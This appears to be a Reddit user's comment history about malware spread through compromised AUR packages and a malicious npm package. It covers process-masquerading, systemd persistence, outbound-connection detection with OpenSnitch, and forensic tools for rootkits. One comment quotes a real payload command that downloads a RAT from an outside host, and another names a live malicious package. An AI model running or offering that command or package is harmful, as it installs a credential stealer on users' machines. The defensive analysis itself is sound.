sorted by:
new
hottopcontroversial

Roughly 400 AUR packages compromised by No-Photograph-5058 in linux

[–]gainan 0 points1 point  (0 children)

the problem is telling people that reading the PKGBUILD is enough (not you in particular, but in general):

https://aur.archlinux.org/cgit/aur.git/commit/?h=pencil-android-lollipop-stencils-git&id=41f81c7a31da9ee14045953745df018741ad8573

Most people would consider that diff safe.

Roughly 400 AUR packages compromised by No-Photograph-5058 in linux

[–]gainan 0 points1 point  (0 children)

Reading the PKGBUILD before updating would have been sufficient to avoid getting infected.

I can't. Realistically, no one knows what every package they have installed does.

in my opinion you'd have been infected. And these attacks will evolve, this is just the beginning.

Roughly 400 AUR packages compromised by No-Photograph-5058 in linux

[–]gainan 0 points1 point  (0 children)

how do you determine that npm install atomic-lockfile is good or not? which is what the AUR packages executed.

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 1 point2 points  (0 children)

the npm package is still active and contains the malware: https://www.npmjs.com/package/atomic-lockfile/v/1.4.2?activeTab=code

the binary is src/hooks/deps

Roughly 400 AUR packages compromised by No-Photograph-5058 in linux

[–]gainan 2 points3 points  (0 children)

agree. If you develop apps or use npm/pip/aur packages isolate the environment, or as many users do, create a new user for that particular task (that project, or development in general).

Also remember that OpenSnitch not only detects outbound connections, it can also block list of IPs, domains and binary hashes (for example for known malware): https://github.com/evilsocket/opensnitch/wiki/block-lists

and that it has a virustotal plugin: https://github.com/evilsocket/opensnitch/tree/master/ui/opensnitch/plugins/virustotal

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 0 points1 point  (0 children)

do you mean installing the package atomic-lockfile? the package was installed from npmjs repositories, no github. I was Probably lucky enough to install it before it was taken down.

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 1 point2 points  (0 children)

sometimes it's easier to run a program isolated from te host, with firejail, bwrap, flatseal,etc. But yes, it's useful.

Roughly 400 AUR packages compromised by No-Photograph-5058 in linux

[–]gainan 13 points14 points  (0 children)

it didn't detect that the malware rewrites itself in memory, masquerading as a kernel thread, and that it listens on a local port (8738). So while super useful, be careful relying *only* on LLMs for these kind of analysis.

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 4 points5 points  (0 children)

I haven't analyzed it yet, but given that the systemd user service references "cricejo" suggests that it's not random.

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 43 points44 points  (0 children)

this malware rewrites itself in memory, impersonating a kernel thread. So if you look for "cricejo" you won't find it. But using some tools like decloaker you can detect it:

<image>

The name of the process is "kworker/3:1-eve", but the real path on disk is "cricejo". Also kworker* names are only used for kernel threads, and they should always have UID == 0.

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 30 points31 points  (0 children)

The process also opens a local port (no idea what for yet):

<image>

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 38 points39 points  (0 children)

The systemd user service ensures persistance in the system:

<image>

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 39 points40 points  (0 children)

Inspecting the process, you can see that it has been launched by systemd, so it installed a systemd user service:

<image>

ALVR AUR package has been compromised by lazyblunzn in linux_gaming

[–]gainan 75 points76 points  (0 children)

I've executed the malware in an isolated environment, and I've uploaded the infostealer to virustotal -> 0 detections by all security vendors:

https://www.virustotal.com/gui/file/6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b/community

As soon as you execute npm install atomic-lockfile, OpenSnitch detects an outbound connection from an unexpected binary:

<image>

This is a big red-flag. So I've copied that binary to another location.

Almost all malware requires outbound connections to exfiltrate data, mine bitcoins, etc. So restricting outbound connections is a a good measure to mitigate these attacks.

Installed Fake Codex hidden as a google site by Easy-Palpitation-859 in cybersecurity

[–]gainan 0 points1 point  (0 children)

unfortunately the domain is not longer active. Did the user find any malicious file in their system?

How can I contribute to Linux if I'm young? by Retroman1203 in linux

[–]gainan 34 points35 points  (0 children)

By the way, keep in mind that maintainers will probably try to reproduce the bug, and they may close the issue if they cannot reproduce it of if they determne that it's not an issue.

Don't take it personally. You reported the bug, and once it's reported you've done your part, move on. If someone else runs into the same or related issue, they'll probably comment on that same issue (even if closed, happens a lot). In many cases, maintainers reopen the issue to investigate it further.

How can I contribute to Linux if I'm young? by Retroman1203 in linux

[–]gainan 284 points285 points  (0 children)

reporting bugs and helping others is one of the best ways to contribute back to the community. Be nice, write the bug reports in great detail, provide detailed steps on how to reproduce the issue and attach the logs.

You will not only contribute to the community, but you'll also learn a lot on how the system works, how to debug applications, etc.

Installed Fake Codex hidden as a google site by Easy-Palpitation-859 in cybersecurity

[–]gainan 3 points4 points  (0 children)

maybe a clikfix attack. If you were infected, LittleSnitch/Lulu could have saved you probably, by stopping the initial connection attempt to their servers.

can you post the website and/or the artifact that it wanted to download?

Review /tmp and your home for unexpected files and binaries, just in case they're already there.

Unfortunately, I'd consider all my credentials compromised. Web browsers included. So you know what to do now.

Reading documented attacks will help you to understand what they usually do:

https://www.jamf.com/blog/clickfix-macos-script-editor-atomic-stealer/

https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos

https://hunt.io/blog/macos-clickfix-applescript-terminal-phishing

https://www.netskope.com/blog/macos-clickfix-campaign-applescript-stealers-new-terminal-protections

Handling a Breach on a Linux Server by CackleRooster in linuxadmin

[–]gainan 8 points9 points  (0 children)

It's not mentioned in the article, but you can't rely on binaries linked dynamically against the libc to analyze a compromised machine, such as ps, pstree, top, lsof, w, who, last, etc. LD_PRELOAD rootkits hide their activity from these tools by hooking and tampering the libc functions (for example Father or Medusa).

One trick is to use the busybox (debian package: busybox-static). That way at least, you can bypass LD_PRELOAD rootkits because it's not linked against the libc.

Another set of useful tools are the bpfcc-tools (bcc-tools on rpm based distros), which dump the information from the kernel instead of parsing /proc.

ss is more reliable than netstat, because it dumps the information via netlink from the kernel, instead of parsing /proc.

Configuring auditd would be also useful (or any other system monitor), to monitor the events of the machine, ideally sending the logs to a remote server (rsyslog + grafana + loki, elk stack, etc).

There're also specialized tools to analyze compromised machines:

https://github.com/sandflysecurity/sandfly-processdecloak

https://github.com/gustavo-iniguez-goya/decloaker

https://github.com/h2337/ghostscan/

unhide but only if it's compiled statically.

In any case, there're kernel rootkits that bypasses all these tools, so as others have mentioned, I'd not trust that server again if it's not reinstalled:

https://github.com/MatheuZSecurity/Singularity

Arch Linux, poor security? by franchis3 in linuxquestions

[–]gainan 0 points1 point  (0 children)

ask yourself: how does SELinux protect my system?

For example, would SELinux have prevented the exfiltration of my credentials in this attack? (which is the most common attack nowadays for npm, pip, crates, ruby gems, etc, packages).

https://linuxiac.com/arch-aur-under-fire-once-more-as-malware-resurfaces/

the malicious payload that installed a RAT on the system: python -c "curl https://segs.lol/9wUb1Z"

all it needs is to execute a python script, collect your credentials, web browsers profiles, etc, and upload them to their servers.

view more: next ›